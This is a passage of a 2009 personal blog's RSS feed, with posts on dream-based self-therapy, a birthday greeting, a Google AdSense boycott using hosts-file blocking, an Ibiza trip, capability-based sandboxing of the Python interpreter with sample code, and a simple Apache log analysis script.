the current research on <a class="reference external" href="http://en.wikipedia.org/wiki/Mirror_neurons">mirror neurons</a> seems to back up the act of
&ldquo;assuming&rdquo; knowledge during the dreams.</p>
<div class="float-left">
  <a href="http://www.flickr.com/photos/tonivc/2283676770/in/photostream/"><img
       src="http://farm4.static.flickr.com/3214/2283676770_6b53f8b77f.jpg"
       width="400px" height="300px"
       alt="Dream of Prometheus" /></a><br />
  <div class="image-caption">by <a
       href="http://www.flickr.com/photos/tonivc/2283676770/in/photostream/">ToniVC</a></div>
</div><p>I also use time shift dreaming to come up with creative solutions to problems &mdash;
by jumping into a future scenario where I've solved the problem.</p>
<p>And often I wake up with solutions. Be warned that this particular use of the
technique sometimes takes a few iterations though&#8230;</p>
<p>But the practice that has really helped me a lot is jumping into the past. This
is the reason that I started entertaining these fantasies in the first place &mdash;
to re-explore the past.</p>
<p>By doing this I've managed to resolve many of the emotional traumas in my life.
Most people generally suppress unpleasant events. The lucky ones pay expensive
therapists to help get beyond these.</p>
<p>By re-exploring the past in time shift dreaming, I've found that I can practice
self therapy and just resolve these myself!</p>
<p>Simply put yourself into a past scenario which you wish could have been
different and explore different realities. Watch and listen. Try out different
actions on behalf of yourself and everyone else involved.</p>
<p>Keep repeating this &mdash; making subtle changes every time. If a scenario proves to
be too painful to re-live directly, work on it gradually. Explore related
scenarios until you are comfortable enough.</p>
<p>And, eventually, you'll reach a turnaround and find yourself much happier. Not
only will you have gained much better understanding of the events, but hopefully
you also gained a better understanding of everyone else's actions.</p>
<p>I've used this to good effect and have been able to overcome traumas like
growing up in a civil war/genocide and being homeless as a teenager. My
anxieties and anger replaced by love and forgiveness.</p>
<p>Again, according to <a class="reference external" href="http://twitter.com/evangineer">Mr. Ceesay</a>, what's
happening here is something akin to <a class="reference external" href="http://en.wikipedia.org/wiki/Neuro-linguistic_programming#Anchoring">anchoring</a>. In my
dreams, I'm anchoring pleasant experiences in place of the unpleasant ones.</p>
<p>Whether this is true or not I do not know. Whether any of this will work for you
I do not know. All I know is that it works for me. And by sharing I hope I've
provided some useful insights for you.</p>
<p>It would be interesting to see how everyone else finds time shift dreaming
though. If you're up for it, why don't you have a go? Perhaps even blog about
your ongoing experience?</p>
<p>You can leave a link in the comments below for others to follow.</p>
<p>By trying this out independently we could figure out what does work for everyone
and what doesn't. At the very least, it's an extremely fun and addictive form of
escapism. Enjoy and let me know how it fares for you!</p>
<p>And, oh, let me know if you'd care to know any other life tips of mine or
whether this is enough for one life time ;p</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/top-life-tips-time-shift-dreaming.html</feedburner:origLink></item><item>
    <title>Happy Birthday Matthieu!</title>
    <guid isPermaLink="false">http://www.asktav.com/happy-birthday-matthieu.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/HP5pNKz_NHk/happy-birthday-matthieu.html</link>
    <pubDate>Thu, 12 Mar 2009 20:36:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Tomorrow, it's the birthday of the Rey-Grange twins: <a class="reference external" href="http://mattrg.free.fr/">Matthieu</a> and Stan. I'd like to wish them a brilliant day and a
magical year!</p>
<img alt="http://farm4.static.flickr.com/3438/3350036644_d2a1a5c042.jpg?v=0" class="float-right" src="http://farm4.static.flickr.com/3438/3350036644_d2a1a5c042.jpg?v=0" />
<p>Matthieu was my housemate of 2 years &#64; Brushfield Riva and is the best housemate
that I've ever had!</p>
<p>He is one of the kindest souls that one is ever likely to meet and a real
pleasure to hang out with.</p>
<p>Wise, talented, fun, interesting, helpful &mdash; everything that one could ever hope
for in a friend, one finds with Matt.</p>
<p>He not only turned around my impression of the French, but also gave me reasons
to appreciate many aspects of its culture.</p>
<p>Lots of love to you brother and happy birthday!!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/happy-birthday-matthieu.html</feedburner:origLink></item><item>
    <title>Say No to Google's Intrusion of Privacy</title>
    <guid isPermaLink="false">http://www.asktav.com/say-no-to-google-intrusion-of-privacy.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/FsvZ6q0PXqU/say-no-to-google-intrusion-of-privacy.html</link>
    <pubDate>Wed, 11 Mar 2009 21:55:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
  <img
  src="http://brucewagner.files.wordpress.com/2008/02/boycott_google_logo.jpg"
  alt ="Boycott Google" /><br />
  <div class="image-caption">by <a href="http://brucewagner.wordpress.com">Bruce
  Wagner</a></div>
</div><p><em>[Blog, Twitter #googlestrike and Facebook this as much as you can &mdash; Thanks!]</em></p>
<p><strong>This is a call to boycott Google AdSense until they change their new
monitoring policy to be opt-in.</strong></p>
<p>Earlier today, Google announced that they will be <a class="reference external" href="http://news.bbc.co.uk/1/hi/technology/7937201.stm">monitoring everybody's online
activity</a>. This is clearly
a violation of their &ldquo;Don't Be Evil&rdquo; policy.</p>
<p>In their quest to serve more targeted ads, Google will now start tracking the
sites that we all visit. They can do this because a lot of sites use Google
<a class="reference external" href="http://en.wikipedia.org/wiki/AdSense">AdSense</a>.</p>
<p>And every time we visit these sites running AdSense, Google will know exactly
where we've been. This is an extreme breach of privacy! We must act now or risk
handing over our privacy permanently.</p>
<p>So this is a call to all network admins &mdash; in homes, offices, university
campuses, ISPs and anywhere else &mdash; to please add the following 2 lines to your
<a class="reference external" href="http://en.wikipedia.org/wiki/Hosts_file">hosts file</a>:</p>
<pre class="literal-block">
127.0.0.1   pagead2.googlesyndication.com
127.0.0.1   googlesyndication.com
</pre>
<p>If you are not an admin, then get in touch with whoever runs your local
home/office/ISP/university networks and get them to make the change.</p>
<p>By doing this, you will disable Google's tracking as well as take away their
revenue &mdash; an online equivalent of boycotting. If it is not made clear that our
privacy is important, the rest of the industry will simply follow Google's lead
even further.</p>
<p>So when should we stop boycotting Google AdSense? When they make it <strong>opt-in</strong>
instead of the current opt-out they provide on their <a class="reference external" href="http://www.google.com/ads/preferences/">ad preferences</a> page.</p>
<p class="sidebox">It's like having an invisible spy camera following you around</p>
<p>The problem with opt-out is that most users simply don't understand the
technical details. As Tim Berners-Lee points out it's like having an <a class="reference external" href="http://www.telegraph.co.uk/scienceandtechnology/technology/technologynews/4974695/Online-privacy-demanded-by-web-founders.html">invisible
spy camera</a>
following you around.</p>
<p>Most people simply don't even know that it's there! And worse, with Google's
current implementation, you have to opt-out from every browser and machine you
ever use!! This is outrageous!</p>
<p>If Google would make this opt-in on the other hand, I will happily let them know
what my interests are so that they can serve me more relevant ads. There is
value in <a class="reference external" href="http://en.wikipedia.org/wiki/Behavioral_targeting">behavioural targetting</a> and Google can derive the
same value without having to intrude on our privacy.</p>
<p>But letting Google know my interests is one thing and letting them know every
website that I ever visit is a different matter altogether. For that, if some
users want to help Google, then fine, let them do so and let them opt-in.</p>
<p>Countries like France are already planning to take away net neutrality &mdash; with
their upcoming <a class="reference external" href="http://arstechnica.com/tech-policy/news/2009/03/french-anti-p2p-law-toughest-in-the-world.ars">anti-P2P law</a>,
illegal filesharers will be denied internet access for up to a year and open
Wi-Fi hotspots will only be allowed to give access to whitelisted sites.</p>
<p>With unhealthy legislation/censorship like this being forced upon the world, we
really don't need Google adding to our pains and taking away what little privacy
we have left.</p>
<p>I'll update this blog article if/when Google do reverse their policy to opt-in.
Keep it bookmarked so that you can stop the boycott =)</p>
<p>Please comment, blog, twitter <a class="reference external" href="http://search.twitter.com/search?q=%23googlestrike">#googlestrike</a> and facebook this as much
as you can &mdash; Thanks!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/say-no-to-google-intrusion-of-privacy.html</feedburner:origLink></item><item>
    <title>Thoughts of Ibiza</title>
    <guid isPermaLink="false">http://www.asktav.com/thoughts-of-ibiza.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/wQQfFNjqgJI/thoughts-of-ibiza.html</link>
    <pubDate>Tue, 10 Mar 2009 17:17:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>It was Athini's birthday last week, and my thoughts drifted to the time we all
spent together in <a class="reference external" href="http://en.wikipedia.org/wiki/Ibiza">Ibiza</a> last year.</p>
<div class="float-right">
<a href="http://www.flickr.com/photos/olasofia/3319107592/"><img
src="http://farm4.static.flickr.com/3612/3319107592_8423d88317.jpg"
width="400px" height="300px"
alt="Sky,Tav and Sofia in Ibiza" /></a>
</div><p>Athini is <a class="reference external" href="http://blog.turnupthecourage.com">Sofia's</a> sister and was our host
when we decided to spend a month away in Ibiza. She's been living there for a
few years now and made our stay super nice.</p>
<p>Leo, the father of her adorable 3-year old Sky, picked us up from the airport
and dropped us off at <a class="reference external" href="http://www.casitaverde.com">Casita Verde</a> where she was
teaching <a class="reference external" href="http://en.wikipedia.org/wiki/Tai_chi_chuan">Tai chi</a>.</p>
<p>Casita Verde was everything that I had not expected from Ibiza.</p>
<p>It turns out that there is more to the island of Eivissa than the clubbing
scenes that we're familiar with. Seemingly limited to the &ldquo;English&rdquo; part of the
island where fat girls walk around semi-naked, the rest of the island is rather
tranquil and magical.</p>
<p>Casita Verde itself is an interesting eco-centre situated in a beautiful valley.
The people who gathered there were very interesting to talk to and the organic
meals they served were delicious!!</p>
<p>And as luck would have it, the DJ was playing music by my old housemate <a class="reference external" href="http://www.saritah.com/">Saritah</a> which endeared myself to the place even more.</p>
<p>After hanging around there for a while, Athini took us to her home. She'd
managed to find a villa for us to stay that was only a few minutes drive from
her house &mdash; we were going to be neighbours for a month!</p>
<p>The <a class="reference external" href="http://www.canxerra.de/">Can Paloma Villa</a>, owned by an eccentric German
artist called <a class="reference external" href="http://www.digitalartweb.net/">Eckhard Neumann</a>, was absolutely
gorgeous!</p>
<img alt="http://farm4.static.flickr.com/3641/3349031709_cd32c710cb.jpg" class="float-left" src="http://farm4.static.flickr.com/3641/3349031709_cd32c710cb.jpg" style="width: 400px; height: 300px;" />
<p>Normally rented out to groups of a dozen-odd people, Sofia and I had the whole
place to ourselves. And thanks to visiting off-season, it cost less than the
rent for our tiny flat in the UK!</p>
<p>Over the next month, Sofia and I worked away on our laptops &mdash; disconnected from
the rest of the world and the internet.</p>
<p>Athini, Leo and little Sky gave us great company which stopped us going insane
from cabin fever. And the visits from Ecki and Schnusch (his cute dog) were an
absolute delight.</p>
<p>But it wasn't all hunky dory. I managed to fall ill with some chest infection
and had to be nursed back to good health by Sofia. Alright, alright, this was
actually really nice ;p</p>
<p>But it turned out that the inhabitants of Ibiza were in a really bad shape
economically. Being way-too-dependent on tourism, the finances of everyone were
cyclical &mdash; great in the summer, crap in the winter.</p>
<p>Clubs like <a class="reference external" href="http://www.pacha.com/">Pacha</a> were dead even though they had a lot
of space for interesting things to happen. Talented people were sitting at home
without jobs or money.</p>
<p>This is quite a sorry state and reflective of the global economy as a whole.
Fundamentally, we do not lack the resources or man-power to make things viable.
It's simply a question of whether we can co-ordinate them effectively.</p>
<p>And I think Ibiza provides an excellent opportunity for such a venture to be
attempted. If the collective resources and talent could be applied effectively,
there is nothing stopping the inhabitants of Ibiza from being able to have an
extremely high quality of life all year round.</p>
<p>Mamading's article on <a class="reference external" href="http://evangineer.agoraworx.com/blog/2009-02-17-local-community-economics-for-security-in-an-unstable-world.html">Local Community Economics for Security in an Unstable
World</a>
(<a class="reference external" href="http://evangineer.agoraworx.com/blog/2009-02-17-economia-local.html">Spanish version</a>) is an
interesting read in this regard.</p>
<p>Who'd be interested in making this happen? Let me know!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/thoughts-of-ibiza.html</feedburner:origLink></item><item>
    <title>Update on Securing the Python Interpreter</title>
    <guid isPermaLink="false">http://www.asktav.com/update-on-securing-the-python-interpreter.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/OFnjOwJ0618/update-on-securing-the-python-interpreter.html</link>
    <pubDate>Mon, 09 Mar 2009 21:42:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>[<strong>Update:</strong> The <tt class="docutils literal"><span class="pre">Namespace</span></tt> utility function has been made explicit-only with
feedback from <a class="reference external" href="http://lackingrhoticity.blogspot.com/">Mark Seaborn</a>. Thanks
Mark!]</p>
<p>Guido van Rossum posted a <a class="reference external" href="http://neopythonic.blogspot.com/2009/03/capabilities-for-python.html">blog article</a> on
Capabilities for Python. As I'd instigated this whole thread, I figure I should
give everyone an update&#8230; (along with a quick summary of the story so far).</p>
<p>The aim has been to enable object-capability in Python. Python already supports
doing the following &mdash; a port of the sample in Mark S. Miller's
<a class="reference external" href="http://www.erights.org/elib/capability/ode/index.html">Capability-based Financial Instruments</a>:</p>
<blockquote>
<div class="syntax"><pre><span class="k">def</span> <span class="nf">Mint</span><span class="p">(</span><span class="n">name</span><span class="p">):</span><br/><br/>    <span class="n">sealer</span><span class="p">,</span> <span class="n">unsealer</span> <span class="o">=</span> <span class="n">makeBrandPair</span><span class="p">(</span><span class="n">name</span><span class="p">)</span><br/><br/>    <span class="k">def</span> <span class="nf">__str__</span><span class="p">():</span><br/>        <span class="k">return</span> <span class="s">&quot;</span><span class="si">%s</span><span class="s">&#39;s mint&quot;</span> <span class="o">%</span> <span class="n">name</span><br/><br/>    <span class="k">def</span> <span class="nf">Purse</span><span class="p">(</span><span class="n">purse_name</span><span class="p">,</span> <span class="n">balance</span><span class="p">):</span><br/><br/>        <span class="n">this</span> <span class="o">=</span> <span class="n">Attr</span><span class="p">(</span><span class="n">balance</span><span class="o">=</span><span class="n">balance</span><span class="p">)</span><br/><br/>        <span class="k">def</span> <span class="nf">decr</span><span class="p">(</span><span class="n">amount</span><span class="p">):</span><br/>            <span class="k">if</span> <span class="p">(</span><span class="n">this</span><span class="o">.</span><span class="n">balance</span> <span class="o">-</span> <span class="n">amount</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mf">0</span><span class="p">:</span><br/>                <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">&quot;Can&#39;t decrement balance below 0.&quot;</span><span class="p">)</span><br/>            <span class="n">this</span><span class="o">.</span><span class="n">balance</span> <span class="o">-=</span> <span class="n">amount</span><br/><br/>        <span class="k">def</span> <span class="nf">__str__</span><span class="p">():</span><br/>            <span class="k">return</span> <span class="s">&quot;</span><span class="si">%s</span><span class="s"> has </span><span class="si">%i</span><span class="s"> </span><span class="si">%s</span><span class="s"> bucks&quot;</span> <span class="o">%</span> <span class="p">(</span><span class="n">purse_name</span><span class="p">,</span> <span class="n">this</span><span class="o">.</span><span class="n">balance</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span><br/><br/>        <span class="k">def</span> <span class="nf">getBalance</span><span class="p">():</span><br/>            <span class="k">return</span> <span class="n">this</span><span class="o">.</span><span class="n">balance</span><br/><br/>        <span class="k">def</span> <span class="nf">sprout</span><span class="p">():</span><br/>            <span class="k">return</span> <span class="n">Purse</span><span class="p">(</span><span class="s">&#39;from </span><span class="si">%s</span><span class="s">:&#39;</span> <span class="o">%</span> <span class="n">purse_name</span><span class="p">,</span> <span class="mf">0</span><span class="p">)</span><br/><br/>        <span class="k">def</span> <span class="nf">getDecr</span><span class="p">():</span><br/>            <span class="k">return</span> <span class="n">sealer</span><span class="o">.</span><span class="n">seal</span><span class="p">(</span><span class="n">decr</span><span class="p">)</span><br/><br/>        <span class="k">def</span> <span class="nf">deposit</span><span class="p">(</span><span class="n">amount</span><span class="p">,</span> <span class="n">src</span><span class="p">):</span><br/>            <span class="n">unsealer</span><span class="o">.</span><span class="n">unseal</span><span class="p">(</span><span class="n">src</span><span class="o">.</span><span class="n">getDecr</span><span class="p">())(</span><span class="n">amount</span><span class="p">)</span><br/>            <span class="n">this</span><span class="o">.</span><span class="n">balance</span> <span class="o">+=</span> <span class="n">amount</span><br/><br/>        <span class="k">return</span> <span class="n">Namespace</span><span class="p">(</span><br/>            <span class="n">decr</span><span class="p">,</span> <span class="n">__str__</span><span class="p">,</span> <span class="n">getBalance</span><span class="p">,</span> <span class="n">sprout</span><span class="p">,</span> <span class="n">getDecr</span><span class="p">,</span> <span class="n">deposit</span><br/>            <span class="p">)</span><br/><br/>    <span class="k">return</span> <span class="n">Namespace</span><span class="p">(</span><span class="n">__str__</span><span class="p">,</span> <span class="n">Purse</span><span class="p">)</span><br/></pre></div>
</blockquote>
<p>Two utility functions are used to make life easier for developers:</p>
<ul class="simple">
<li><tt class="docutils literal"><span class="pre">Namespace</span></tt> returns an object which behaves similarly to &ldquo;standard&rdquo;
class-based objects.</li>
<li><tt class="docutils literal"><span class="pre">Attr</span></tt> provides a utility object to get beyond scope limitations pre-Python
3.0</li>
</ul>
<p>Using this functional approach, we can start our journey towards object
capability in Python =)</p>
<p>First, we need to ensure that a user can't get hold of the global state somehow.
Whilst a lot of existing Python libraries use global state, there is nothing in
the core language itself that requires this to be the case.</p>
<p>So we needed to identify the attributes of built-in types which &ldquo;leak&rdquo; global
state, e.g.</p>
<ul class="simple">
<li>FunctionType.func_globals</li>
<li>FrameType.f_locals</li>
</ul>
<p>I issued a <a class="reference external" href="a-challenge-to-break-python-security.html">security challenge</a>
which helped identify a number of these and am following it up by doing a manual
audit of the CPython implementation to further verify the &ldquo;final&rdquo; list of leak
attributes.</p>
<p>[If anyone wants to help, please get in touch &mdash; <a class="reference external" href="mailto:tav&#64;espians.com">tav&#64;espians.com</a>]</p>
<p>Assuming we do identify the full list &mdash; there are only <em>so many</em> builtin types
and attributes in Python after all! &mdash; we can start with a clean slate and do
object-capability in Python. I explain in detail in my earlier blog article on
<a class="reference external" href="paving-the-way-to-securing-the-python-interpreter.html">Securing the Python Interpreter</a>.</p>
<p>The short of it is that this can be enabled <em>today</em> in about 100 odd lines of
code by removing the &ldquo;leak&rdquo; variables using Python's <tt class="docutils literal"><span class="pre">ctypes</span></tt> module &mdash; see
<a class="reference external" href="http://cloud.github.com/downloads/tav/plexnet/safelite.py">safelite.py</a> for a
simple implementation. And for contexts like App Engine, where ctypes isn't
accessible, I provided a <a class="reference external" href="http://release.plexnet.org/misc/cappython/pytrunk.secure.patch">small patch</a> for the
interpreter itself.</p>
<p>The next problem is in making as much of the existing standard library
accessible. As Guido rightly points out in his blog article, most people aren't
going to use a capability-secure subset of Python if it doesn't offer any
value!!</p>
<p>And given that no-one is going to volunteer to rewrite the entire standard
library, I figured we could take a short cut by using minimal wrappers *wink*.</p>
<p>This would be great, but there's been one last (identified) hurdle: some of
Python's builtins automatically call certain class-based protocols, e.g.
__int__, __iter__, etc. for type coercion, iteration, etc.</p>
<p>And to make matters worse certain builtins like <tt class="docutils literal"><span class="pre">input</span></tt> evaluate in the
calling scope! But we can bypass this &mdash; unless someone tells me otherwise &mdash; by
putting a type guard in front of our functions. I've written a <tt class="docutils literal"><span class="pre">guard</span></tt>
decorator in the latest safelite.py to make this easier &mdash; let me know if it
works for you.</p>
<p>We are using a functional approach anyhow, so the class-based protocols are
meaningless. Thus no real functionality should be lost. It'd just make wrapping
the existing standard library much much easier.</p>
<p>And with that, the stage is hopefully set to herald a new future. Here is the
implementation of a file reader which wraps Python's builtin <tt class="docutils literal"><span class="pre">open</span></tt>:</p>
<blockquote>
<div class="syntax"><pre><span class="nd">@guard</span><span class="p">(</span><span class="n">filename</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">buffering</span><span class="o">=</span><span class="nb">int</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">FileReader</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="s">&#39;r&#39;</span><span class="p">,</span> <span class="n">buffering</span><span class="o">=</span><span class="mf">0</span><span class="p">):</span><br/>    <span class="sd">&quot;&quot;&quot;A secure file reader.&quot;&quot;&quot;</span><br/><br/>    <span class="k">if</span> <span class="n">mode</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s">&#39;r&#39;</span><span class="p">,</span> <span class="s">&#39;rb&#39;</span><span class="p">,</span> <span class="s">&#39;rU&#39;</span><span class="p">]:</span><br/>        <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">&quot;Only read modes are allowed.&quot;</span><span class="p">)</span><br/><br/>    <span class="n">fileobj</span> <span class="o">=</span> <span class="n">open_file</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="n">mode</span><span class="p">,</span> <span class="n">buffering</span><span class="p">)</span><br/><br/>    <span class="k">def</span> <span class="nf">__repr__</span><span class="p">():</span><br/>        <span class="k">return</span> <span class="s">&#39;&lt;FileReader: </span><span class="si">%r</span><span class="s">&gt;&#39;</span> <span class="o">%</span> <span class="n">filename</span><br/><br/>    <span class="k">def</span> <span class="nf">close</span><span class="p">():</span><br/>        <span class="n">fileobj</span><span class="o">.</span><span class="n">close</span><span class="p">()</span><br/><br/>    <span class="nd">@guard</span><span class="p">(</span><span class="n">bufsize</span><span class="o">=</span><span class="nb">int</span><span class="p">)</span><br/>    <span class="k">def</span> <span class="nf">read</span><span class="p">(</span><span class="n">bufsize</span><span class="o">=-</span><span class="mf">1</span><span class="p">):</span><br/>        <span class="k">return</span> <span class="n">fileobj</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="n">bufsize</span><span class="p">)</span><br/><br/>    <span class="nd">@guard</span><span class="p">(</span><span class="n">size</span><span class="o">=</span><span class="nb">int</span><span class="p">)</span><br/>    <span class="k">def</span> <span class="nf">readlines</span><span class="p">(</span><span class="n">size</span><span class="o">=-</span><span class="mf">1</span><span class="p">):</span><br/>        <span class="k">return</span> <span class="n">fileobj</span><span class="o">.</span><span class="n">readlines</span><span class="p">(</span><span class="n">size</span><span class="p">)</span><br/><br/>    <span class="nd">@guard</span><span class="p">(</span><span class="n">offset</span><span class="o">=</span><span class="nb">int</span><span class="p">,</span> <span class="n">whence</span><span class="o">=</span><span class="nb">int</span><span class="p">)</span><br/>    <span class="k">def</span> <span class="nf">seek</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="n">whence</span><span class="o">=</span><span class="mf">0</span><span class="p">):</span><br/>        <span class="n">fileobj</span><span class="o">.</span><span class="n">seek</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="n">whence</span><span class="p">)</span><br/><br/>    <span class="k">return</span> <span class="n">Namespace</span><span class="p">(</span><span class="n">__repr__</span><span class="p">,</span> <span class="n">close</span><span class="p">,</span> <span class="n">read</span><span class="p">,</span> <span class="n">readlines</span><span class="p">,</span> <span class="n">seek</span><span class="p">)</span><br/></pre></div>
</blockquote>
<p>Code which has a reference to <tt class="docutils literal"><span class="pre">FileReader</span></tt> would be able to read files but &mdash;
assuming we've identified all the leak attributes &mdash; never be able to get a
reference to the &ldquo;real&rdquo; <tt class="docutils literal"><span class="pre">file_open</span></tt> which FileReader uses internally.</p>
<p>Code can pass on references to <tt class="docutils literal"><span class="pre">read()</span></tt> to other code without exposing a
reference to <tt class="docutils literal"><span class="pre">seek()</span></tt>, etc.</p>
<p>The final key bit missing is a secure import. For this, I've been working on
something called <tt class="docutils literal"><span class="pre">pimp</span></tt> which will allow for remote loading of code using
object capability principles over HTTP in a manner similar to the <a class="reference external" href="http://www.waterken.com/dev/Web/">Web Calculus</a>.</p>
<p>And with that, this update has come to a close. Do get in touch if any of this
interests you and you'd like to work together!</p>
<p>And, as always, let me know your thoughts in the comments below. Thanks!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/11JlfxZx_Bk/safelite.py" fileSize="8850" type="null" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://www.asktav.com/update-on-securing-the-python-interpreter.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/11JlfxZx_Bk/safelite.py" length="8850" type="null" /><feedburner:origEnclosureLink>http://cloud.github.com/downloads/tav/plexnet/safelite.py</feedburner:origEnclosureLink></item><item>
    <title>Logrep: A Simple Apache Log Analysis Script</title>
    <guid isPermaLink="false">http://www.asktav.com/logrep-a-simple-apache-log-analysis-script.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/rc_oA19oosg/logrep-a-simple-apache-log-analysis-script.html</link>
    <pubDate>Sun, 08 Mar 2009 07:14:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Besides good content and interaction, knowing your audience is key to any
successful form of communication.</p>
<img alt="http://farm4.static.flickr.com/3627/3348887337_ec21d8cf89.jpg" class="float-right" src="http://farm4.static.flickr.com/3627/3348887337_ec21d8cf89.jpg" />
<p>Now if you run a blog there are lots of services to help you analyse your
traffic. Personally, I find <a class="reference external" href="http://www.google.com/analytics/">Google Analytics</a> to be pretty good. But there's a slight
problem. It's not real-time.</p>
<p>Even if you use <a class="reference external" href="http://www.thetechfaq.com/2008/03/12/real-time-stats-with-google-analytics/">this</a>
&ldquo;trick&rdquo;, you are still lagged by a few hours. I am happy to wait for the
detailed analysis that Analytics gives me, but I want some basic info in
real-time.</p>
<p>Seeing as I'm running the blog on my own server, it's just a question of parsing
the Apache access logs. But despite my efforts, I couldn't find a really simple
parser for these logs.</p>
<p>All I care about is:</p>
<ul class="simple">
<li>What are people currently looking at?</li>
<li>Who and how many people are visiting?</li>
<li>Where are they coming from? Who is referring to me?</li>
</ul>
<p>Failing to find a simple script, I initially just ran commands like:</p>
<pre class="literal-block">
grep &quot;^tav&quot; access.2009-03-* | awk '{print $12}' | sort | uniq
</pre>
<p>But this got slightly annoying after a while, so I wrote a simple script. I
wrote this just for myself, but if anyone is interested, here it is: <a class="reference external" href="http://github.com/tav/scripts/raw/master/logrep.py">logrep.py</a></p>
<p>Running:</p>
<pre class="literal-block">
./logrep.py access.2009-03-* -what -total
</pre>
<p>outputs &lt;number-of-total-requests&gt; &lt;number-of-requests-from-unique-ips&gt;
&lt;url-requested&gt;:</p>
<pre class="literal-block">
1009    668     /a-challenge-to-break-python-security.html
6298    1023    /feed.rss
10595   8912    /ruby-style-blocks-in-python.html
</pre>
<p>There's a similar:</p>
<pre class="literal-block">
./logrep.py access.2009-03-* -where -total -prune
</pre>
<p>where <tt class="docutils literal"><span class="pre">-prune</span></tt> combines together urls with different <tt class="docutils literal"><span class="pre">?query-strings</span></tt>:</p>
<pre class="literal-block">
1014    972     http://news.ycombinator.com/
2966    2904    http://www.reddit.com/
</pre>
<p>And:</p>
<pre class="literal-block">
./logrep.py access.2009-03-* -who -total
</pre>
<p>which outputs the obvious total number of visitors (unique ip addresses), e.g.:</p>
<pre class="literal-block">
18314
</pre>
<p>You can pass in some additional filters:</p>
<ul class="simple">
<li><tt class="docutils literal"><span class="pre">--vhost</span> <span class="pre">tav.espians.com</span></tt> will filter on just requests to that vhost.</li>
<li><tt class="docutils literal"><span class="pre">-all</span></tt> will include statistic for requests which weren't served
successfully, e.g. 404s, 301s, etc.</li>
<li><tt class="docutils literal"><span class="pre">--ignore</span> <span class="pre">/favicon.ico,/robots.txt</span></tt> will filter out requests to the given
list of URLs.</li>
</ul>
<p>Again, I wrote this just for myself. But like with all my work, I'm placing it
in the public domain if anyone else fancies using it: <a class="reference external" href="http://github.com/tav/scripts/raw/master/logrep.py">logrep.py</a></p>
<p>Enjoy!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/logrep-a-simple-apache-log-analysis-script.html</feedburner:origLink></item><item>
    <title>Ruby-style Blocks in Python</title>
    <guid isPermaLink="false">http://www.asktav.com/ruby-style-blocks-in-python.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/WEdf6JkBodQ/ruby-style-blocks-in-python.html</link>
    <pubDate>Sat, 07 Mar 2009 08:10:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>[<strong>Update:</strong> I've updated the proposal to use the <tt class="docutils literal"><span class="pre">using</span></tt> keyword instead of
overloading the existing semantics of the <tt class="docutils literal"><span class="pre">with</span></tt> keyword &mdash; thanks Guido and
Todd Lucas!]</p>
<p>Blocks are supposedly the <a class="reference external" href="http://unlimitednovelty.com/2009/03/what-do-rubyists-like-about-ruby.html">most liked feature in Ruby</a>.
This proposal would enable a similar feature in Python:</p>
<blockquote>
<div class="syntax"><pre><span class="k">using</span> <span class="n">webapp</span><span class="o">.</span><span class="n">runner</span> <span class="k">do</span> <span class="p">(</span><span class="n">config</span><span class="p">):</span><br/>    <span class="n">config</span><span class="o">.</span><span class="n">time_zone</span> <span class="o">=</span> <span class="s">&#39;UTC&#39;</span><br/>    <span class="n">config</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">&#39;debug&#39;</span><br/></pre></div>
</blockquote>
<p>Compare that to the Ruby equivalent:</p>
<blockquote>
